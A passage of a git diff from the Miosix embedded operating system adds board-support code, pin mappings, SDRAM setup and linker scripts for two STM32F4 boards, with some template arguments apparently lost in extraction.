"interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; + RCC_SYNC(); + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS + GPIOB->OSPEEDR=0xaaaaaaaa; + GPIOC->OSPEEDR=0xaaaaaaaa; + GPIOD->OSPEEDR=0xaaaaaaaa; + GPIOE->OSPEEDR=0xaaaaaaaa; + GPIOH->OSPEEDR=0xaaaaaaaa; + _led::mode(Mode::OUTPUT); + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + //The display could be damaged if left on but without refreshing it + typedef Gpio dispoff;//DISPOFF signal to display + dispoff::high(); + + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..7bc78272c --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/interfaces-impl/bsp_impl.h @@ -0,0 +1,89 @@ +/*************************************************************************** + * Copyright (C) 2012 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * used by the ledOn() and ledOff() implementation + */ +typedef Gpio _led; + +inline void ledOn() +{ + _led::high(); +} + +inline void ledOff() +{ + _led::low(); +} + +/** + * Polls the SD card sense GPIO. + * + * This board has no SD card whatsoever, but a card can be connected to the + * following GPIOs: + * D0 : PC8 + * D1 : PC9 + * D2 : PC10 (conflicts with CS43L22 SCK) + * D3 : PC11 + * CLK : PC12 (conflicts with CS43L22 SDIN) + * CMD : PD2 + * + * The conflicts mean that it's not possible to use both the SD card and + * the audio playback feature on this board. + * + * \return true. As there's no SD card sense switch, let's pretend that + * the card is present. + */ +inline bool sdCardSense() { return true; } + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/st25dvdiscovery.cfg b/miosix/arch/board/stm32f415vg_st25dvdiscovery/openocd.cfg similarity index 100% rename from miosix/arch/cortexM4_stm32f4/stm32f415vg_st25dvdiscovery/st25dvdiscovery.cfg rename to miosix/arch/board/stm32f415vg_st25dvdiscovery/openocd.cfg diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/processes.ld b/miosix/arch/board/stm32f415vg_st25dvdiscovery/processes.ld new file mode 100644 index 000000000..7bd8d67ad --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/processes.ld @@ -0,0 +1,27 @@ +/* + * Linker script for stm32f415 + * For compiling Miosix as a fluid kernel. + * Separates RAM in two partitions, the first used by the kernel and + * kernelspace applications, the second being the process pool for userspace + * applications. + */ + +/* + * NOTE: The stm32f407 has the architectural quirk that ram1 is a TCM that is + * not accessible by the DMA. As such, we can't use the entire ram2 for the + * process pool, since that would leave the kernel with no DMA-capable RAM! + * The DMA-based drivers for stm32f407 are hardcoded to assume that only heap + * memory is DMA-capable, so with this chip we *must* place the kernel keap in + * ram2! + * We thus split ram2 into 32K for the kernel heap and 96K for the process pool. + */ +_process_pool_size = 96K; + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f415vg_st25dvdiscovery/unikernel.ld b/miosix/arch/board/stm32f415vg_st25dvdiscovery/unikernel.ld new file mode 100644 index 000000000..a2b240408 --- /dev/null +++ b/miosix/arch/board/stm32f415vg_st25dvdiscovery/unikernel.ld @@ -0,0 +1,14 @@ +/* + * Linker script for stm32f415 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 1M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K + ram2(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-2ram-separate-heap.ld diff --git a/miosix/arch/board/stm32f429zi_oledboard2/CMakeLists.txt b/miosix/arch/board/stm32f429zi_oledboard2/CMakeLists.txt new file mode 100644 index 000000000..b87944775 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/CMakeLists.txt @@ -0,0 +1,40 @@ +## +## CMakeLists.txt for board stm32f429zi_oledboard2 +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f4) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + # 1) Code in FLASH, stack + heap in internal RAM + unikernel.ld + # 2) Code in FLASH, stack + heap in external RAM + unikernel-xram-8m.ld + # 3) Same as 2), but leaves the upper 2MB of RAM for the LCD framebuffers + unikernel-xram-6m.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel-xram-6m.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32_hardware_rng.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +# Do not uncomment this even if you don't use a linker script that requires +# it, as it is used for the LCD framebuffer. +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_STM32F429ZI_OLEDBOARD2 -D__ENABLE_XRAM) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_STM32F429ZI_OLEDBOARD2 -D__ENABLE_XRAM) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +set(PROGRAM_CMDLINE stm32flash -w -v /dev/ttyUSB0) diff --git a/miosix/arch/board/stm32f429zi_oledboard2/Makefile.inc b/miosix/arch/board/stm32f429zi_oledboard2/Makefile.inc new file mode 100644 index 000000000..39967ce15 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/Makefile.inc @@ -0,0 +1,26 @@ +## +## Makefile for board stm32f429zi_oledboard2 +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f4 + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32_hardware_rng.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_STM32F429ZI_OLEDBOARD2 +BOARD_CXXFLAGS := -D_BOARD_STM32F429ZI_OLEDBOARD2 + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +PROG ?= stm32flash -w $(if $(ROMFS_DIR), image.bin, main.bin) -v /dev/ttyUSB0 diff --git a/miosix/arch/board/stm32f429zi_oledboard2/boot.cpp b/miosix/arch/board/stm32f429zi_oledboard2/boot.cpp new file mode 100644 index 000000000..d0423c8ab --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/boot.cpp @@ -0,0 +1,45 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "interfaces/bsp.h" + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + //Initialize clocks + SystemInit(); + //Initialize SDRAM after SystemInit() as it is timing-sensitive and needs + //the full clock speed. + #ifdef __ENABLE_XRAM + miosix::configureSdram(); + #endif //__ENABLE_XRAM +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..f076d14fd --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,21 @@ +#pragma once + +//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency +#define STM32F429xx +#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" +#include "CMSIS/Include/core_cm4.h" +#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f427,f437,f429,f439 RCC synchronization is required per the +//device errata (ES0206 section 2.2.7). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 90, so there are 91 +#define MIOSIX_NUM_PERIPHERAL_IRQ 91 diff --git a/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..3a3f93019 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp.cpp @@ -0,0 +1,294 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "kernel/sync.h" +#include "interfaces/delays.h" +#include "interfaces/poweroff.h" +#include "interfaces/arch_registers.h" +#include "miosix_settings.h" +#include "kernel/logging.h" +#include "filesystem/file_access.h" +#include "filesystem/console/console_device.h" +#include "interfaces/serial.h" +#include "drivers/sdmmc/stm32f2_f4_f7_sd.h" +#include "board_settings.h" + +namespace miosix { + +// +// Initialization +// + +/** + * The example code from ST checks for the busy flag after each command. + * Interestingly I couldn't find any mention of this in the datsheet. + */ +static void sdramCommandWait() +{ + for(int i=0;i<0xffff;i++) + if((FMC_Bank5_6->SDSR & FMC_SDSR_BUSY)==0) return; +} + +/** + * Configure GPIOs at boot + */ +static void configureGpio() +{ + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | + RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | + RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOFEN | + RCC_AHB1ENR_GPIOGEN; + RCC_SYNC(); + + //Port config (H=high, L=low, PU=pullup, PD=pulldown) + // | PORTA | PORTB | PORTC | PORTD | PORTE | PORTF | PORTG | + //--+---------+---------+---------+---------+---------+---------+---------+ + // 0| IN PD | AF14 | AF12 | AF12 | AF12 | AF12 | AF12 | + // 1| IN PD | AF14 | IN PD | AF12 | AF12 | AF12 | AF12 | + // 2| IN PD | IN | AF5 | AF12 | IN PU | AF12 | IN PD | + // 3| AF14 | IN PD | AF5 | AF14 | IN PU | AF12 | OUT L | + // 4| AF14 | AF5 | OUT L | IN PD | IN PU | AF12 | AF12 | + // 5| AF5 | AF12 | IN PD | IN PD | IN PU | AF12 | AF12 | + // 6| AF14 | AF12 | AF14 | AF14 | IN PD | IN PD | AF14 | + // 7| AF5 | IN PD | AF14 | IN PD | AF12 | IN PD | AF14 | + // 8| IN PD | AF14 | AF12 | AF12 | AF12 | IN PD | AF12 | + // 9| AF7 | AF14 | IN PD | AF12 | AF12 | IN PD | OUT H | + //10| AF7 PU | AF14 | AF14 | AF12 | AF12 | AF14 | AF14 | + //11| AF14 | AF14 | OUT L | IN PD | AF12 | AF12 | AF14 | + //12| AF14 | OUT H | AF12 | IN PD | AF12 | AF12 | AF14 | + //13| AF0 | AF5 | IN PD | IN PD | AF12 | AF12 | AF5 | + //14| AF0 | IN PD | IN PD | AF12 | AF12 | AF12 | AF5 | + //15| OUT H | IN | IN PD | AF12 | AF12 | AF12 | AF12 | + + //First, configure GPIOs + GPIOA->AFR[0]=0x5e5ee000; + GPIOA->AFR[1]=0x000ee770; + GPIOB->AFR[0]=0x0cc500ee; + GPIOB->AFR[1]=0x0050eeee; + GPIOC->AFR[0]=0xee00550c; + GPIOC->AFR[1]=0x000c0e0c; + GPIOD->AFR[0]=0x0e00eccc; + GPIOD->AFR[1]=0xcc000ccc; + GPIOE->AFR[0]=0xc00000cc; + GPIOE->AFR[1]=0xcccccccc; + GPIOF->AFR[0]=0x00cccccc; + GPIOF->AFR[1]=0xccccce00; + GPIOG->AFR[0]=0xeecc00cc; + GPIOG->AFR[1]=0xc55eee0c; + + GPIOA->MODER=0x6aa8aa80; + GPIOB->MODER=0x09aa2a0a; + GPIOC->MODER=0x0262a1a2; + GPIOD->MODER=0xa02a20aa; + GPIOE->MODER=0xaaaa800a; + GPIOF->MODER=0xaaa00aaa; + GPIOG->MODER=0xaaa6aa4a; + + GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOs... + GPIOB->OSPEEDR=0xaaaaaaaa | 0x00003c00; //...but 100MHz for the SDRAM pins + GPIOC->OSPEEDR=0xaaaaaaaa | 0x00000003; + GPIOD->OSPEEDR=0xaaaaaaaa | 0xf03f000f; + GPIOE->OSPEEDR=0xaaaaaaaa | 0xffffc00f; + GPIOF->OSPEEDR=0xaaaaaaaa | 0xffc00fff; + GPIOG->OSPEEDR=0xaaaaaaaa | 0xc0030f0f; + + GPIOA->PUPDR=0x2412002a; + GPIOB->PUPDR=0x20008080; + GPIOC->PUPDR=0xa8080808; + GPIOD->PUPDR=0x0a808a00; + GPIOE->PUPDR=0x00002550; + GPIOF->PUPDR=0x000aa000; + GPIOG->PUPDR=0x00000020; + + //Last, set GPIOs configured as output to their level + expansion::spi1cs::high(); + expansion::spi2cs::high(); + display::vregEn::low(); + display::reset::low(); + display::cs::high(); +} + +void configureSdram() +{ + //To access the SDRAM we need to configure its GPIO, but since + //we're at it, we'll configure all the GPIOs + configureGpio(); + + //Second, actually start the SDRAM controller + RCC->AHB3ENR |= RCC_AHB3ENR_FMCEN; + RCC_SYNC(); + + //SDRAM is a IS42S16400J -7 speed grade, connected to bank 2 (0xd0000000) + //Some bits in SDCR[1] are don't care, and the have to be set in SDCR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDCR[0]=FMC_SDCR1_SDCLK_1// SDRAM runs @ half CPU frequency + | FMC_SDCR1_RBURST // Enable read burst + | 0; // 0 delay between reads after CAS + FMC_Bank5_6->SDCR[1]=0 // 8 bit column address + | FMC_SDCR1_NR_0 // 12 bit row address + | FMC_SDCR1_MWID_0 // 16 bit data bus + | FMC_SDCR1_NB // 4 banks + | FMC_SDCR1_CAS_1; // 2 cycle CAS latency (F<133MHz) + + static_assert(cpuFrequency==180000000 || cpuFrequency==168000000, + "No SDRAM timings for this clock"); + if (cpuFrequency==180000000) + { + //One SDRAM clock cycle is 11.1ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (66.6ns>63ns) + | (2-1)<<20; // 2 cycle TRP (22.2ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (7-1)<<4 // 7 cycle TXSR (77.7ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (44.4ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (22.2ns>15ns) + } else if (cpuFrequency==168000000) { + //One SDRAM clock cycle is 11.9ns + //Some bits in SDTR[1] are don't care, and the have to be set in SDTR[0], + //they aren't just don't care, the controller will fail if they aren't at 0 + FMC_Bank5_6->SDTR[0]=(6-1)<<12 // 6 cycle TRC (71.4ns>63ns) + | (2-1)<<20; // 2 cycle TRP (23.8ns>15ns) + FMC_Bank5_6->SDTR[1]=(2-1)<<0 // 2 cycle TMRD + | (6-1)<<4 // 6 cycle TXSR (71.4ns>70ns) + | (4-1)<<8 // 4 cycle TRAS (47.6ns>42ns) + | (2-1)<<16 // 2 cycle TWR + | (2-1)<<24; // 2 cycle TRCD (23.8ns>15ns) + } + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 1; // MODE=001 clock enabled + sdramCommandWait(); + + //ST and SDRAM datasheet agree a 100us delay is required here. + delayUs(100); + + FMC_Bank5_6->SDCMR= FMC_SDCMR_CTB2 // Enable bank 2 + | 2; // MODE=010 precharge all command + sdramCommandWait(); + + FMC_Bank5_6->SDCMR= (8-1)<<5 // NRFS=8 SDRAM datasheet says + // "at least two AUTO REFRESH cycles" + | FMC_SDCMR_CTB2 // Enable bank 2 + | 3; // MODE=011 auto refresh + sdramCommandWait(); + + FMC_Bank5_6->SDCMR=0x220<<9 // MRD=0x220:CAS latency=2 burst len=1 + | FMC_SDCMR_CTB2 // Enable bank 2 + | 4; // MODE=100 load mode register + sdramCommandWait(); + + // 64ms/4096=15.625us + if (cpuFrequency==180000000) + { + //15.625us*90MHz=1406-20=1386 + FMC_Bank5_6->SDRTR=1386<<1; + } else if (cpuFrequency==168000000) { + //15.625us*84MHz=1312-20=1292 + FMC_Bank5_6->SDRTR=1292<<1; + } +} + +void IRQbspInit() +{ + //If using SDRAM GPIOs are configured by configureSdram(), else configure them here + #ifndef __ENABLE_XRAM + configureGpio(); + #endif //__ENABLE_XRAM + + ledOn(); + delayMs(100); + ledOff(); + IRQsetDefaultConsole( + STM32SerialBase::get( + defaultSerial,defaultSerialSpeed, + defaultSerialFlowctrl,defaultSerialDma)); +} + +void bspInit2() +{ + #ifdef WITH_FILESYSTEM + basicFilesystemSetup(SDIODriver::instance()); + #endif //WITH_FILESYSTEM +} + +// +// Shutdown and reboot +// + +/** +This function disables filesystem (if enabled), serial port (if enabled) and +puts the processor in deep sleep mode.
+Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. +
This function does not return.
+WARNING: close all files before using this function, since it unmounts the +filesystem.
+When in shutdown mode, power consumption of the miosix board is reduced to ~ +5uA??, however, true power consumption depends on what is connected to the GPIO +pins. The user is responsible to put the devices connected to the GPIO pin in the +minimal power consumption mode before calling shutdown(). Please note that to +minimize power consumption all unused GPIO must not be left floating. +*/ +void shutdown() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + for(;;) ; +} + +void reboot() +{ + ioctl(STDOUT_FILENO,IOCTL_SYNC,0); + + #ifdef WITH_FILESYSTEM + FilesystemManager::instance().umountAll(); + #endif //WITH_FILESYSTEM + + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h new file mode 100644 index 000000000..60f93a320 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/bsp_impl.h @@ -0,0 +1,71 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#ifndef BSP_IMPL_H +#define BSP_IMPL_H + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +/** + * \internal + * Called by stage_1_boot.cpp to enable the SDRAM before initializing .data/.bss + * Requires the CPU clock to be already configured (running from the PLL) + */ +void configureSdram(); + +inline void ledOn() +{ + led::high(); +} + +inline void ledOff() +{ + led::low(); +} + +/** +\} +*/ + +} //namespace miosix + +#endif //BSP_IMPL_H diff --git a/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..08f5f8f43 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/interfaces-impl/hwmapping.h @@ -0,0 +1,115 @@ +/*************************************************************************** + * Copyright (C) 2015 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +typedef Gpio led; + +namespace expansion { +typedef Gpio gpio2; +typedef Gpio gpio3; +typedef Gpio gpio4; +typedef Gpio spi1sck; +typedef Gpio spi1mosi; +typedef Gpio spi1miso; +typedef Gpio spi1cs; +typedef Gpio spi2sck; +typedef Gpio spi2mosi; +typedef Gpio spi2miso; +typedef Gpio spi2cs; + +} + +namespace button { +typedef Gpio b1; +typedef Gpio b2; +typedef Gpio b3; +typedef Gpio b4; +} + +namespace usb { +typedef Gpio dm; +typedef Gpio dp; +} + +namespace display { +typedef Gpio vregEn; +typedef Gpio reset; +typedef Gpio cs; +typedef Gpio sck; +typedef Gpio mosi; +typedef Gpio dotclk; +typedef Gpio hsync; +typedef Gpio vsync; +typedef Gpio en; +typedef Gpio r5; +typedef Gpio r4; +typedef Gpio r3; +typedef Gpio r2; +typedef Gpio r1; +typedef Gpio r0; +typedef Gpio g5; +typedef Gpio g4; +typedef Gpio g3; +typedef Gpio g2; +typedef Gpio g1; +typedef Gpio g0; +typedef Gpio b5; +typedef Gpio b4; +typedef Gpio b3; +typedef Gpio b2; +typedef Gpio b1; +typedef Gpio b0; +} + +namespace unused { +typedef Gpio u1; +typedef Gpio u2; +typedef Gpio u3; +typedef Gpio u4; +typedef Gpio u5; +typedef Gpio u6; +typedef Gpio u7; +typedef Gpio u8; +typedef Gpio u9; +typedef Gpio u10; +typedef Gpio u11; +typedef Gpio u12; +typedef Gpio u13; +typedef Gpio u14; +typedef Gpio u15; +typedef Gpio u16; +typedef Gpio u17; +typedef Gpio u18; +typedef Gpio u19; +} + +} //namespace miosix diff --git a/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-6m.ld b/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-6m.ld new file mode 100644 index 000000000..828db28e3 --- /dev/null +++ b/miosix/arch/board/stm32f429zi_oledboard2/unikernel-xram-6m.ld @@ -0,0 +1,33 @@ +/* + * Linker script for stm32f429 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +/* + * NOTE: starting at 0x10000000 there's 64KB of TCM. + * Starting at 0x20000000 there's 192K of internal SRAM. + * Since this linker script is for placing everything (but the IRQ stack) in + * XRAM, we use TCM for the interrupt stack and leave the rest of the internal + * RAM unused + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 2M + ram1(wx) : ORIGIN = 0x10000000, LENGTH = 64K /* TCM for IRQ stack */ + ram2(wx) : ORIGIN = 0xd0000000, LENGTH = 6M /* XRAM */ +} + +/* + * NOTE: the SDRAM is 8MB, but this linker script only uses the lower 6. + * The upper 2MB are reserved as framebuffers for the OLED. The choice to + * allocate this space is due to the SDRAM architecture, composed of 4 banks of + * 2MB each. Reserving a bank for the OLED allows the software running on the + * board and the OLED to operate (almost) independently. + * Regardless, we want to configure the MPU to span the entire XRAM + */ +_xram_start = ORIGIN(ram2); +_xram_size = 8M; + 